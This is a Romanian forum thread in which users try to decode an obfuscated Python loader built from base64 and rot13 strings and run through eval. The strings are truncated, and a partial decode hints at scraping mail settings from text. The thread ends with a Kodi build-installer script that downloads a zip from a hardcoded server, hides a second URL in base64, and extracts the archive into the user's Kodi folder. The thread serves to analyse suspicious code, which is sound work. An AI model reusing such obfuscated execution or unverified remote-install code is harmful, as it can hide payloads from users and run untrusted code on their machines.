magicmagic Posted March 1, 2021 Report Posted March 1, 2021 mport base64, codecs magic = 'IyAtKi0gY29kaW5nOiB1dGYtOCAtKi0NCmltcG9ydCByZXF1ZXN0cywgb3MsIHN5cyxjb2$ love = 'yrUDcQDbWPDxWPDycMvOup3H6QDbWPDxWPDxWLKqmK3WyMlN9VTSmqD0XPDxWPDxWMJkmMG$ god = 'lcbiIsIHRleHQpWzBdDQoJCQkJCW1haWxwb3J0ID0gcmVnKCJcbk1BSUxfUE9SVD0oLio/KV$ destiny = '3MypvfaKT5povpcQDbWPDxWPDymLKMyYzAfo3AyXPxAPtxWPDxWMJkmMGbAPtxWPDxWP$ joy = '\x72\x6f\x74\x31\x33' trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x$ eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec')) Quote
andr82 Posted March 1, 2021 Report Posted March 1, 2021 magic = # -*- coding: utf-8 -*- import requests, os, sys,codecs love = global pk, '80' + pk joy = 'rot13' trust = eval('magic') + eval('codecs.decode(love, joy)') + eval('god') + eval('codecs.decode(destiny, joy)') eval(compile(base64.b64decode(eval('trust')),'<string>','exec')) Cam atat la prima vedere din ce este pe net...cine are timp poate aprofunda 1 3 Quote
JordanM Posted June 24, 2021 Report Posted June 24, 2021 On 3/1/2021 at 9:49 PM, magicmagic said: mport base64, codecs magic = 'IyAtKi0gY29kaW5nOiB1dGYtOCAtKi0NCmltcG9ydCByZXF1ZXN0cywgb3MsIHN5cyxjb2$ love = 'yrUDcQDbWPDxWPDycMvOup3H6QDbWPDxWPDxWLKqmK3WyMlN9VTSmqD0XPDxWPDxWMJkmMG$ god = 'lcbiIsIHRleHQpWzBdDQoJCQkJCW1haWxwb3J0ID0gcmVnKCJcbk1BSUxfUE9SVD0oLio/KV$ destiny = '3MypvfaKT5povpcQDbWPDxWPDymLKMyYzAfo3AyXPxAPtxWPDxWMJkmMGbAPtxWPDxWP$ joy = '\x72\x6f\x74\x31\x33' trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x$ evalsite(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec')) oy = 'rot13' trust = eval('magic') + eval('codecs.decode(love, joy)') + eval('god') + eval('codecs.decode(destiny, joy)') eval(compile(base64.b64decode(eval('trust')),'<string>','exec')) Quote
ardu2222 Posted June 25, 2021 Report Posted June 25, 2021 On 6/24/2021 at 11:39 AM, JordanM said: oy = 'rot13' trust = eval('magic') + eval('codecs.decode(love, joy)') + eval('god') + eval('codecs.decode(destiny, joy)') eval(compile(base64.b64decode(eval('trust')),'<string>','exec')) Pai cum ai decodat primele includes si declaratii continua cu restul... Quote
UnixDevel Posted June 26, 2021 Report Posted June 26, 2021 https://onecompiler.com/python2/3wnusdnwm # -*- coding: utf-8 -*- from resources.lib import kodiutils from resources.lib import kodilogging import io import os import sys import time import zipfile import urllib import logging import xbmcaddon import xbmcgui import xbmc, base64 import httplib,urllib2 def addonInstalled(script_name): return xbmc.getCondVisibility('System.HasAddon(%s)' % script_name) == 1 ADDON = xbmcaddon.Addon() logger = logging.getLogger(ADDON.getAddonInfo('id')) class Canceled(Exception): pass class MyProgressDialog(): def __init__(self, process): self.dp = xbmcgui.DialogProgress() self.dp.create("Nemesis LT v2", process, '', 'Bitte Warten...') def __call__(self, block_num, block_size, total_size): if self.dp.iscanceled(): self.dp.close() raise Canceled percent = (block_num * block_size * 100) / total_size if percent < total_size: self.dp.update(percent) else: self.dp.close() def exists(path): try: f = urllib2.urlopen(urllib2.Request(path)) return True except: return False def read(response, progress_dialog): data = b"" total_size = response.info().getheader('Content-Length').strip() total_size = int(total_size) bytes_so_far = 0 chunk_size = 1024 * 1024 reader = lambda: response.read(chunk_size) for index, chunk in enumerate(iter(reader, b"")): data += chunk progress_dialog(index, chunk_size, total_size) return data def extract(zip_file, output_directory, progress_dialog): zin = zipfile.ZipFile(zip_file) files_number = len(zin.infolist()) for index, item in enumerate(zin.infolist()): try: progress_dialog(index, 1, files_number) except Canceled: return False else: zin.extract(item, output_directory) return True def get_packages(): addon_name = ADDON.getAddonInfo('name') bundleURL = "http://485676543.web502.server6.configcenter.info/daten/nemesis/nemesis_v2.zip" bundleVersion = base64.b64decode("aHR0cDovLzQ4NTY3NjU0My53ZWI1MDIuc2VydmVyNi5jb25maWdjZW50ZXIuaW5mby9kYXRlbi94Ym94L0RXRl9CVUlMRFMvdmVyc2lvbg==") if not exists(bundleURL): xbmcgui.Dialog().ok('Nemesis v2 Offline','Aktuell nicht verfügbar' ) sys.exit() try: url = bundleURL response = urllib.urlopen(url) except: sys.exit() try: data = read(response, MyProgressDialog("Nemesis v2 Herunterladen ...")) except Canceled: message = "Download abgebrochen" else: addon_folder = xbmc.translatePath(os.path.join('special://', 'home')) if extract(io.BytesIO(data), addon_folder, MyProgressDialog("Entpacken ...")): message = "Installation von Nemesis v2 erfolgreich abgeschlossen." else: message = "Die Installation wurde abgebrochen" try: version = int(str(urllib.urlopen(bundleVersion).read())) d = open(os.path.join(xbmc.translatePath('special://home'), 'version.db'), "w") d.write(str(version)) d.close() except: pass dialog = xbmcgui.Dialog() dialog.ok(addon_name, "%s. Bitte schliessen Sie Nemesis v2, um den Vorgang abzuschließen." % message) os._exit(0) 2 Quote